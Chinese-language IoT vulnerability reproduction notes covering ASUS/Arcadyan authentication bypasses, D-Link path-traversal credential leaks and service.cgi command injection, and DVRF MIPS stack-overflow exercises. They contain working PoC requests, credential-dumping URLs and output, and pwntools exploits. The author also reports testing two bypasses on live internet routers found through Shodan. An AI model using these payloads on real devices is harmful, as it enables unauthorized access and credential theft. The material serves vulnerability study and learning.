IoT漏洞复现记录
漏洞基本信息格式:
漏洞基本信息
- 漏洞编号:
- 漏洞类型:
- 漏洞利用效果
- 漏洞披露时间:
- 漏洞描述:
- 设备型号:
- 设备架构:
- 复现进度:
- 漏洞复现
- 静态分析
- 动态调试
- 受影响的漏洞组件 :
- 文件名:
- 功能:
- 技术栈:(脚本语言)
- 定位漏洞组件的方法和工具:
- 污点分析
- 静态分析工具
- 动态调试工具
ASUS(华硕) #
CVE-2021-32030 #
CVE - CVE-2021-32030 (mitre.org)
advisories/ATREDIS-2020-0010.md at master · atredispartners/advisories (github.com)
漏洞基本信息 #
- 漏洞编号:CVE-2021-32030
- 漏洞类型: 身份验证绕过
- 漏洞利用效果:对管理员界面的未经授权的访问
- 漏洞披露时间:20210505
- 漏洞描述:
- ASUS GT-AC2900管理员应用程序在处理未经身份验证的用户的远程输入时,容易受到身份验证绕过漏洞的攻击,从而导致对管理员界面的未经授权的访问
- 设备型号:低于 3.0.0.4.386.42643 的 ASUS GT-AC2900 设备
- 设备架构:ARM
- 复现进度:
- 已进行静态分析
- 受影响的漏洞组件 :
- 文件名:httpd
- 功能:用于处理用户发送的 HTTP 请求
- 定位漏洞组件的方法和工具:
- 静态分析工具
- ida(32位)
- ghidra
- 静态分析工具
解包 #
- 固件下载链接:https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_30043848253.zip
- binwalk 解包之后得到一个 100000.ubi 文件
- 使用 ubi_reader 继续解包
- 在 /usr/sbin/ 目录下找到一个叫做 httpd 的程序
- 此程序用于处理用户发送的 HTTP 请求
$ wget https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_30043848253.zip
$ unzip FW_RT_AX56U_30043848253.zip
$ cd Firmware_Release
###
➜ /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release ls
RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w
###
$ binwalk -Me RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w
###
➜ /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted ls
100000.ubi ubifs-root
###
$ ubireader_extract_files 100000.ubi
###
➜ /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted ls ubifs-root/1589911850/rootfs_ubifs
bin cifs2 debug etc jffs mmc opt rom sbin sysroot usr www
cifs1 data dev home lib mnt proc root sys tmp var
###
###
➜ /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted/ubifs-root/1589911850/rootfs_ubifs/usr/sbin ls |grep http
httpd
httpds
lighttpd
lighttpd-arpping
lighttpd-monitor
###
$ file httpd
###
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 4.1.0, stripped
###
$ checksec httpd
###
[*] 'httpd'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
###
漏洞分析 #
- 使用 IDA 分析程序
- 搜索 httpd_handle_request 字符串可找到处理请求的入口位置
- httpd_handle_request 函数逻辑简述如下
首先对请求进行简单解析,利用 strncasecmp 等字符串操作函数从用户请求中匹配出一些结构,并将这些数据赋值到对应的变量。
然后过滤 URL,防止出现路径穿越。
之后根据用户访问的 URL 和 Method 执行不同逻辑,但所有需要身份验证的接口都要经过函数 auth_check(sub_5B560)
,此函数从 Cookie 中获取 asus_token 参数的值,然后带入 sub_59588
进行检查
我们注意到函数先从配置文件中获取 ifttt_token 参数的值,然后将 asus_token 和它比较,如果两者相等,则输出IFTTT/ALEXA long token success.
同时返回 1,表示身份验证通过。
但是在设备的默认配置下,IFTTT 功能没有开启,这导致 ifttt_token 默认值为空,
- 此时如果用户传入的 asus_token 也是空值
- 则 strcmp 会返回 0 表示比较成功
- 这样就能绕过后续的检查,实现身份验证绕过。
poc:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
新版 auth_check 函数将代码修改为
if ( *a1 && *nvram_safe_get_0("ifttt_token") && (v2 = nvram_safe_get_0("ifttt_token"), !strcmp(a1, v2)) )
{
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File(
"/tmp/IFTTT_ALEXA.log",
"[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n",
"check_ifttt_token",
1020);
result = 1;
}
首先判断 asus_token 是否为空,避免用户传入空值的情况出现,从而修复了此漏洞。
漏洞复现 #
由于该设备我们qemu
模拟的环境中是无法连接上的,由于之后还要发送数据,这里也不好直接patch
,因此,在本地较难复现
使用 shodan
(
https://www.shodan.io/ ) 查找到还在用此路由器设备的站点
可以复现漏洞,但是这样做不太好()
CVE-2021-20090 #
漏洞基本信息 #
-
漏洞编号:CVE-2021-20090
-
漏洞类型: 身份验证绕过
-
漏洞利用效果:对管理员界面的未经授权的访问
-
漏洞披露时间:20201217
-
漏洞描述:
- Arcadyan制造的网络设备的Web界面中有一个路径遍历漏洞,可允许未经身份验证的远程攻击者绕过身份验证。
- 由于根本原因存在于底层 Arcadyan 固件,且有多个厂商采用了 Arcadyan 开发的系统套件,故CVE-2021-20090 影响很多设备
-
设备型号:
-
Buffalo WSR-2533DHPL2 固件版本 <= 1.02 和 WSR-2533DHP3 固件版本 <= 1.24
-
Vendor
Device
Found on version
ADB
ADSL wireless IAD router
1.26S-R-3P
Arcadyan
ARV7519
00.96.00.96.617ES
Arcadyan
VRV9517
6.00.17 build04
Arcadyan
VGV7519
3.01.116
Arcadyan
VRV9518
1.01.00 build44
ASMAX
BBR-4MG / SMC7908 ADSL
0.08
ASUS
DSL-AC88U (Arc VRV9517)
1.10.05 build502
ASUS
DSL-AC87VG (Arc VRV9510)
1.05.18 build305
ASUS
DSL-AC3100
1.10.05 build503
ASUS
DSL-AC68VG
5.00.08 build272
Beeline
Smart Box Flash
1.00.13_beta4
British Telecom
WE410443-SA
1.02.12 build02
Buffalo
WSR-2533DHPL2
1.02
Buffalo
WSR-2533DHP3
1.24
Buffalo
BBR-4HG
Buffalo
BBR-4MG
2.08 Release 0002
Buffalo
WSR-3200AX4S
1.1
Buffalo
WSR-1166DHP2
1.15
Buffalo
WXR-5700AX7S
1.11
Deutsche Telekom
Speedport Smart 3
010137.4.8.001.0
HughesNet
HT2000W
0.10.10
KPN
ExperiaBox V10A (Arcadyan VRV9517)
5.00.48 build453
KPN
VGV7519
3.01.116
O2
HomeBox 6441
1.01.36
Orange
LiveBox Fibra (PRV3399)
00.96.00.96.617ES
Skinny
Smart Modem (Arcadyan VRV9517)
6.00.16 build01
SparkNZ
Smart Modem (Arcadyan VRV9517)
6.00.17 build04
Telecom (Argentina)
Arcadyan VRV9518VAC23-A-OS-AM
1.01.00 build44
TelMex
PRV33AC
1.31.005.0012
TelMex
VRV7006
Telstra
Smart Modem Gen 2 (LH1000)
0.13.01r
Telus
WiFi Hub (PRV65B444A-S-TS)
v3.00.20
Telus
NH20A
1.00.10debug build06
Verizon
Fios G3100
2.0.0.6
Vodafone
EasyBox 904
4.16
Vodafone
EasyBox 903
30.05.714
Vodafone
EasyBox 802
20.02.226
-
-
设备架构:ARM
-
复现进度:
- 已成功复现
- 已进行静态分析
-
受影响的漏洞组件 :
- 文件名:httpd
- 功能:用于处理用户发送的 HTTP 请求
-
定位漏洞组件的方法和工具:
- 静态分析工具
- ida(32位)
- ghidra
- 静态分析工具
解包 #
$ wget wget https://dlcdnets.asus.com/pub/ASUS/wireless/DSL-AC88U/FW_DSL_AC88U_11005502.zip
$ unzip FW_DSL_AC88U_11005502.zip
$ binwalk -Me DSL-AC88U_v1.10.05_build502.w
$ cd _DSL-AC88U_v1.10.05_build502.w.extracted
$ ubireader_extract_files 2C0000.ubi
$ ls ./ubifs-root/0/rootfs_ubifs
###
bin bootfs data dev etc lib mnt opt proc ramdisk rom sbin sys tmp usr var www
###
$ file httpd
###
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
###
$ checksec httpd
###
[*] 'httpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8000)
RWX: Has RWX segments
###
漏洞分析 #
根据Juniper威胁实验室发现的在野漏洞利用细节,发现攻击者在url中通过..%2f来遍历访问/images上层路径中的文件,疑似路径遍历漏洞
使用IDA加载httpd程序,字符串窗口搜索/images
发现在sub_DEB0函数中使用了该字符串
分析sub_DEB0函数的功能
- 大致是通过遍历数组,判断数组中是否存在某个元素是传入参数的子串
- (此处strncasecmp函数是根据数据元素的长度来进行比较的)
- 存在则返回1,否则返回0
- 猜测传入的参数大概率是请求路径,而字符串/images/恰恰是数组的第一个元素,分析数组中元素的字面意思,推断都是在无需登录情况下就可以访问的路径或文件(在未登录的情况下应该也能访问一些图片、htm等文件)
继续查看sub_DEB0函数的交叉引用,发现如下逻辑关系
当sub_DEB0函数返回1时,a1+30376地址处的内容被修改为1
a1+30376地址地址处内容与另一个函数sub_1D578的返回值存在‘或’的判断, 如果a1+30376地址处内容为1, 那么函数sub_1D578的返回值无论是什么,结果都为真
查看函数sub_1D578
,在该函数中发现了对SID值
的校验。并且在对路由器登录抓包过程中发现,当登录成功后,请求其他文件时,会携带一个cookie值,而cookie中就存在SID这个变量。
sub_1D578
函数中调用的sub_1D0C0
函数的部分伪代码
sub_1D0C0
函数中调用的sub_1CE8C
函数的部分伪代码
所以只需要保证sub_DEB0返回值==1
即可绕过cookie SID的校验。
而满足sub_DEB0() == 1只需要路径包含指定路径即可,如上图中的/images/、/lang/、/js/、/css/等。
但是,上述指定路径限制了我们访问敏感API或敏感页面。此时,结合路径穿越漏洞,可解除指定路径的限制,实现未登录状态下对任意api/url的合法访问。
再看一下搜索一下字符串,可以看到sub_14C30函数有一个"process_post"字符串
发现sub_14C30函数将url放入sub_DF50函数进行处理
而sub_DF50函数又会将url传入sub_167A8函数
sub_167A8函数里存在一个可以与之前漏洞结合起来使用的漏洞点:会跳过特定内容将后续的东西拷贝到前面,从而更换url的内容
即这个函数会把/api/../test给转换成/test
结合先前的内容,将url前放入预定义的数据,后面接上/../xxx,就不需要认证即可访问xxx,造成认证绕过漏洞。
例如:/images/../apply_abstract.cgi
程序先匹配到 /images,绕过登录,然后替换 /../ 导致后续访问的是 /apply_abstract.cgi 接口,实现身份验证绕过
漏洞复现 #
由于该设备我们qemu
模拟的环境中是无法连接上的,由于之后还要发送数据,这里也不好直接patch
,因此,在本地较难复现
使用 shodan
(
https://www.shodan.io/search?query=tew-751dr ) 查找到还在用表格中路由器设备的站点
使用zoomeye
(https://www.zoomeye.org/discover)来查找也可以
部分还在用表格中型号路由器设备的站点,可能因为已经升级为了新固件版本,所以poc没有打通
经过几次尝试,访问http://某ip/images/../apply_abstract.cgi
时
会直接跳转到http://某ip/apply_abstract.cgi
然后弹出身份验证提示
点击取消之后可以发现已经开始下载apply_abstract.cgi文件了
漏洞复现成功
可以复现漏洞,但是这样做不太好()
D-Link(友讯) #
D-link的以往固件可以在下列网站上找到:
D-Link | Technical Support | Downloads (dlink.com.tw)
Index of /pub/Router (dlink.ru)
CVE-2017-12943 #
漏洞基本信息 #
- 漏洞编号:CVE-2017-12943
- 漏洞类型: 绝对路径遍历攻击
- 漏洞利用效果:通过绝对路径遍历来读取密码信息
- 漏洞披露时间:20170818
- 漏洞描述:
- 带有 v2.x 固件的 D-Link DIR-600 Rev Bx 设备允许远程攻击者通过型号/__show_info.php读取密码?REQUIRE_FILE= 绝对路径遍历攻击
- 设备型号:D-Link DIR-600 Rev Bx
- 设备架构:
- 复现进度:
- 已进行静态分析
- 受影响的漏洞组件 :
- 文件名:httpd
- 功能:用于处理用户发送的 HTTP 请求
- 定位漏洞组件的方法和工具:
- 静态分析工具
- ida(32位)
- ghidra
- 静态分析工具
解包 #
Index of /pub/Router (dlink.ru)
# 安装sasquatch
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ cd sasquatch && ./build.sh
# binwalk:
$ sudo apt-get install build-essential autoconf
$ git python-lzma python-crypto libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
$sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
$ sudo pip install pyqtgraph capstone
# 解决 No module named pkg_resources 的问题
$ sudo apt-get install --reinstall python-pkg-resources
$ wget http://files.dlink.com.au/products/DIR-600/REV_B1/Firmware/Firmware_v2.05/DIR600B_FW205b01.bin
# $ wget https://github.com/d4rk30/CVE-2017-12943/blob/master/FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin
$ sudo binwalk -Me DIR600B_FW205b01.bin
# $ sudo binwalk -Me FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin
$ ls ./etc/templates/httpd/
漏洞分析 #
# 在_DIR600B_FW205b01.bin.extracted/squashfs-root/www/model 可以看到_show_info.php文件
$ cd /home/iot/vul/D-Link/CVE-2017-12943/_DIR600B_FW205b01.bin.extracted/squashfs-root/www/model
$ code _show_info.php
可以看到在第 17 行,存在一个路径拼接的问题
其中 require 是引入文件的函数,直接访问当前页面,前面的变量 $LOCATE_PATH 在当前页面没有引入,所以默认是空
所以我们可以构造paylaod来通过绝对路径遍历读取文件
同时我们可以看到在 /etc/templates/httpd 下面有一个 httpasswd.php 输出的是用户名密码
$ cd /home/iot/vul/D-Link/CVE-2017-12943/_DIR600B_FW205b01.bin.extracted/squashfs-root/etc/templates/httpd
$ code httpasswd.php
所以我们就可以构造payload直接访问这个页面来获得账号密码
# paylaod:
localhost/model/__show_info.php?REQUIRE_FILE=%2Fetc%2Ftemplates%2Fhttpd%2Fhttpasswd.php
漏洞复现 #
# firmware-analysis-toolkit
$ ./fat.py /home/iot/vul/D-Link/CVE-2017-12943/DIR600B_FW205b01.bin
# firmAE
$ sudo ./run.sh -r dir600 /home/iot/vul/D-Link/CVE-2017-12943/FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin
fat仿真失败了,不过firmAE成功了,所以接下来进行本地漏洞复现
手动测试漏洞:
直接输入192.168.0.1/model/__show_info.php?REQUIRE_FILE=%2Fetc%2Ftemplates%2Fhttpd%2Fhttpasswd.php
获得账号密码
成功登入:
也可以使用exp来复现漏洞:
# localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
import requests
url = "http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=./etc/templates/httpd/httpasswd.php"
r = requests.get(url)
print (r.text)
print (r.json)
DIR320 #
复现过程及漏洞原理与CVE-2017-12943类似
$ wget https://ftp.dlink.ru/pub/Router/DIR-320/Firmware/old/DIR-320A1_FW121WWb03.bin
# 提取固件
binwalk -Me DIR-320A1_FW121WWb03.bin
# 仿真
$ sudo ./init.sh
###
[sudo] password for ubuntu:
+ sudo service postgresql restart
+ echo 'Waiting for DB to start...'
Waiting for DB to start...
+ sleep 5
###
$ sudo ./run.sh -r dir320 /home/iot/vul/D-Link/CVE-2017-12943/DIR-320A1_FW121WWb03.bin
# payload:
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
# 直接转到:
http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
DIR645 #
复现过程及漏洞原理与CVE-2017-12943类似
$ sudo ./run.sh -r dir645 /home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin
$ sudo ./run.sh -r dir645 ./home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin
/home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin emulation start!!!
extract done!!!
get architecture done!!!
mke2fs 1.44.1 (24-Mar-2018)
e2fsck 1.44.1 (24-Mar-2018)
# payload:
# http://192.168.0.1/getcfg.php
# post:SERVICES=DEVICE.ACCOUNT
$ curl -d "SERVICES=DEVICE.ACCOUNT" "http://192.168.0.1/getcfg.php"
exp:
import requests
url = "http://192.168.0.1/getcfg.php"
#payload = "SERVICES=DEVICE.ACCOUNT"
payload = {"SERVICES": "DEVICE.ACCOUNT"}
data = payload
#data = data.encode("utf-8")
r = requests.post(url, data)
print (r)
print (r.text)
➜ /home/iot python3 exp.py 192.168.0.1
<Response [200]>
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>DIR-645</gw_name>
<account>
<seqno>2</seqno>
<max>2</max>
<count>2</count>
<entry>
<uid>USR-</uid>
<name>admin</name>
<usrid></usrid>
<password>adminhello</password>
<group>0</group>
<description></description>
</entry>
<entry>
<uid>USR-1</uid>
<name>user</name>
<usrid></usrid>
<password>userhello</password>
<group>101</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>
CNVD-2018-01084 #
漏洞基本信息 #
-
漏洞编号:CNVD-2018-01084
-
漏洞类型:远程命令执行
-
漏洞利用效果:可执行任意命令
-
漏洞披露时间:20180117
-
漏洞描述:
- D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令。
-
设备型号:D-Link DIR 615/645/815
-
设备架构:mips
-
复现进度:
- 已成功复现
- 已进行静态分析
- 已进行动态调试
-
受影响的漏洞组件 :
- 文件名:httpd
- 功能:用于处理用户发送的 HTTP 请求
-
定位漏洞组件的方法和工具:
- 静态分析工具
- ida(32位)
- ghidra
- 静态分析工具
- service.cgi 远程命令执行漏洞
- 学习远程命令执行类漏洞的查找与利用方式
[ 原创] CNVD-2018-01084 漏洞复现报告-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析_cnvd-2018-01084复现-CSDN博客
D-Link | Technical Support | Downloads (dlink.com.tw)
解包 #
$ wget https://ftp.dlink.ru/pub/Router/DIR-815/Firmware/RevA/Old/DIR815A1_FW101b09.bin
静态分析 #
参考 CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)-二进制漏洞-看雪-安全社区 进行分析
先checksec
检查一下二进制文件:
将其拖进IDA
中先进行静态分析。
首先进入main
函数,可以在66行看到service.cgi
与传入的第一个参数v3
相比较
当传入的第一个参数是service.cgi
,比对成功后,会进入servicecgi_main
函数。
我们先对servicecgi_main
这个函数整体的调用路线进行一个宏观的分析:
右键查看外部引用至图表(说实话我也是第一次使用这个,还真不错)
我们猜测漏洞点存在于这里的system
函数处,它是由lxmldbc_system
函数调用的
所以我们在函数里面搜索 lxmldbc_system 并查看其伪代码
在lxmldbc_system
函数中,会先进行一个格式化字符串的拼接,再将拼接好的字符串作为system
的参数调用,因此,这里的确可能存在一个可被利用的点:
接着,我们对servicecgi_main
函数的流程进行一个分析:
(1)先获取环境变量REQUEST_METHOD
进行判断
当请求方式为GET
的时候,会跳到标签10
,而这个标签10
在调用lxmldbc_system
函数的下面:
所以,为了利用到lxmldbc_system
中的漏洞,我们的请求方式只能为POST
。
(2)分析cgibin_parse_request
函数
然后,会调用到cgibin_parse_request
函数,这个函数会先调取环境变量REQUEST_URI
,并对其先以?
进行字符串分割:
再进到sub_402B40
函数中,发现这里会再以=
进行一次字符串分割,对=
后的内容再以&
进行分割:
这其实就是对一个URL
字符串的解析过程,分割后的字符串,都会被存放进内存中,具体存放在哪里,不太好直接通过静态分析看出。
之后,在cgibin_parse_request
函数中,对CONTENT_TYPE
这个环境变量进行了一个判断:
这里先对环境变量CONTENT_TYPE
中的内容的前v17
位与v18
进行一个比对,比对正确后就会调用一个未知的函数,这里的v18
其实是off_42C014
中的内容,而v17
就是其后四个字节的内容:
也就是说,我们**CONTENT_TYPE
的前12
位得是application/
**才能过这个判断。
之后调用到的那个未知的函数也不方便直接通过静态分析看出,在之后动态调试的时候可以很清楚地看到,不过,这里需要注意一下传入这个未知函数的第三个参数v7
,其实就是CONTENT_LENGTH
这个环境变量:
(3)分析sess_ispoweruser
函数
在之后,会需要绕过sess_ispoweruser
函数,不然无法通过认证:
这个函数会调用到sess_validate
函数,其中会再调用到sess_get_uid
函数,在里面有对HTTP_COOKIE
和REMOTE_ADDR
这两个环境变量的获取,这里就不作具体分析了。
接着,在sess_validate
函数中会继续调用到sub_407660
这个函数,其中会打开/var/session/...
的文件:
这个文件显然我们用qemu
模拟的环境中是没有的,因此我们需要将sess_ispoweruser
这个函数的相关判断给patch
掉(直接将跳转命令改成nop
空指令),不然就不便于进行后续利用了(会在这里卡住):
单字节修改 0x40A398 地址
然后保存即可
这样就直接跳过sess_ispoweruser
函数的认证检验了,将patch
过的二进制文件替换htdocs
目录下原有的文件即可。
(4)一些静态分析看不出来的操作
再然后,会调用sub_40A1C0
函数进行一些判断:
显然,判断的结果若是满足v6!=0
是最好的,因为这里if
分支其实大体上都是对v9
格式化字符串进行赋值,而v6!=0
分支中的内容最简单,下面else
分支中的内容会很复杂,当经过这个判断之后,有了**v9
这个格式化字符串作为参数**,就可以直接走到lxmldbc_system
函数进行漏洞利用了。
不过,这里sub_40A1C0
函数中具体判断的内容不太好直接通过静态分析看出:
这里的a1
就是传进去的EVENT / ACTION / SERVICE
这些参数,但是后面的v3[2]
应该是用户可控的一个字符串,但是并不知道指向内存的何处。
同样地,lxmldbc_system
函数中,vsnprintf
函数的参数va
(也就是拼接到前面format
格式化字符串中的内容)不知道指向内存的何处,va_start
函数同样不知道指向哪里:
这些都不好通过静态分析直接得出,但是可以猜测都是用户可控的,再联想到之前的REQUEST_URI
环境变量分割出的字符串被存放在了内存中,我们也并不知道具体的存放位置,因此,可以猜测这里取的内存就是在之前存放的,为了验证这一观点,我们需要进行动态分析来调试。
动态调试 #
首先,我们需要知道如何向main
函数传递参数argv
和设置环境变量:
我们可以用-0
选项传递第一个参数,用-E
选项设置环境变量,用-L
选项做到类似于更改根目录的效果,用-strace
选项追踪程序执行时进程系统调用和所接收的信号,方便调试。
我们按顺序,先来调试一下CONTENT_TYPE
环境变量中application/
后应该设置成什么,也就需要知道这里进入的未知函数是什么:
if ( !strncasecmp(v14, v18, v17) )
return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_42C014)[3 * v16 - 1])(
a1,
a2,
v7,
&v14[v17]);
看到对应的汇编:
最后的跳转命令在0x40346C
处,因此,调试的时候我们可以在这里下一个断点
先启动qemu
用户模式:
$ qemu-mipsel -g 9988 -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="test" \
-E CONTENT_LENGTH="5" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
./htdocs/cgibin
# 另开一个终端
$ gdb-multiarch ./htdocs/cgibin
# gdb输入命令:
target remote:9988
可以很清晰地看到,那个我们静态分析不好看出来的未知函数就是0x403b10
。
在IDA
里找到0x403b10
的位置,并创建函数
接着就可以查看伪代码了:
可见,CONTENT_TYPE
环境变量的后面应该是x-www-form-urlencoded
,匹配成功后,就会进入sub_402FFC
函数,在其中会有一个read
函数,需要我们读入数据:
sub_402FFC 函数的伪代码:
这里的v7
也就是a3
,是我们在cgibin_parse_request
函数中传入的环境变量CONTENT_LENGTH
,根据之前的分析,我们需要这个函数的返回值v4
大于零,只要读入合法的数据即可。
这一部分就分析到这,接下来再验证之前的猜想:sub_40A1C0
函数中所取的内存是否为之前REQUEST_URI
环境变量所分割出的字符串?
我们已经知道了REQUEST_URI
大体的分割模式,因此可以设REQUEST_URI="aaa?bbb=ccc"
的形式,启动命令如下:
$ qemu-mipsel -g 9988 -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="aaa?bbb=ccc" \
-E CONTENT_LENGTH="5" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
./htdocs/cgibin
在sub_40A1C0
中strcmp
的地方对应的汇编处(0x40A200
)下一个断点:
在之前随便输入十个字符,最后停止了断点处
由此可知,strcmp
的第二个参数就是环境变量REQUEST_URI
中?
与=
之间的字符串。
用同样的方法,可以得到:lxmldbc_system
中拼接入格式化字符串的va
参数就是环境变量REQUEST_URI
中=
之后的字符串。
至此,我们完成了对/htdocs/cgibin
这个二进制文件中的漏洞分析,显然,我们将;{cmd};
拼接进格式化字符串,由于;
可连接两个独立语句并执行,这样就能执行我们的cmd
命令了
exp #
from pwn import *
context(os = 'linux', arch = 'mips')
string = "winmt"
length = len(string)
print("----- CNVD-2018-01084 -----\n")
cmd = input("command > ")
io = process(f'''
qemu-mipsel -L . -strace \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH={length} \
-E REQUEST_URI="?EVENT=;{cmd};" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE="uid=winmt" \
-E REMOTE_ADDR="127.0.0.1" \
./htdocs/cgibin
''', shell = True)
io.send(string)
io.interactive()
DVRF项目 #
praetorian-inc/DVRF: The Damn Vulnerable Router Firmware Project (github.com)
通过利用DVRF项目来进一步分析设备固件,挖掘固件中存在的安全漏洞。该项目的目的是模拟真实设备环境,帮助人们了解 除x86_64 空间之外的其他 CPU 架构
解包 #
$ binwalk -Me DVRF_v03.bin
DVRF stack_bof_01 #
静态分析 #
放入ghidra中进行分析
获取参数后,未校验长度赋值给局部变量造成栈溢出
而且可以看到有后门函数 0x00400950:
所以我们可以利用栈溢出来覆盖返回地址的值来是程序运行到后门函数
动态调试 #
与平时打pwn时对二进制程序进行gdb调试差不多,
不同在于mips架构需要再qemu上运行
$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ echo "test" > content
$ sudo chroot . ./qemu-mipsel-static -L ./ -g 9988 ./pwnable/Intro/stack_bof_01 "`cat content`"
# 注意要在cat content的外面加上“”
# 另开一个终端
$ gdb-multiarch ./pwnable/Intro/stack_bof_01
# gdb爱输入命令:
set arch mips
set endian big/little
target remote remote:9988
# 连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就可以慢慢单步调试
exp #
生成payload:
from pwn import *
context.arch = "mips"
context.endian = "little"
backdoor = 0x0040095c
payload = b'a'*0xc8+b'b'*0x4
payload += p32(backdoor)
with open("stack_bof_01_payload","w") as file:
file.write(payload.decode())
成功getshell:
$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
使用pwntools库来编写exp:
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
backdoor = 0x0040095c
payload = b'a'*0xc8 + b'b'*0x4
payload += p32(backdoor)
with open("stack_bof_01_payload","w") as file:
file.write(payload.decode())
sh = process(b"sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 \"`cat stack_bof_01_payload`\"".decode() ,shell=True)
sh.interactive()
注:
rop ret2win 时在 x86
平台下我们直接设置 ip
寄存器到后面函数的地址就可以了
但是有时在mips
架构上我们设置完$pc
寄存器可能会出现报错:访问了非法内存
原因在于,在 MIPS 中,函数内部会通过 $t9
寄存器和 $gp
寄存器来找数据,地址等。
同时在 mips
的手册内默认 $t9
的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 rop_gadget
设置 $t9
, 然后再跳到后门函数。
所以我们需要在二进制程序或者 libc 中找到类似这样一个gadgets:
使用 jalr $t9
类的 gadgets
以保证进入函数后, $t9
的值为函数的起始地址
.text:00006B20 lw $t9, arg_0($sp)
.text:00006B24 jalr $t9
之后加上libc的基地址就行了
用qemu-mipsel-static模拟程序是看不到目标程序的maps的,所以我们可以通过打印 got
表的函数指针,然后计算偏移得到 libc
的基地址。
所以我们现在的利用流程就是:
- 修改返回地址到
rop_gadget
, 设置$r9
为后门函数的地址 - 跳转到 后门函数,执行
system
此时我们的payoad就变成了:
#!/usr/bin/python
padding = b"a" * offset
gadget =
backdoor =
payload = padding + gadget + backdoor
with open("input", "wb") as f:
f.write(payload)
DVRF stack_bof_02 #
静态分析 #
漏洞点与stack_bof_01相同
动态调试 #
方式与 stack_bof_01 相同
$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ echo "test" > content
$ sudo chroot . ./qemu-mipsel-static -L ./ -g 9988 ./pwnable/ShellCode_Required/stack_bof_02 "`cat content`"
# 注意要在cat content的外面加上“”
# 另开一个终端
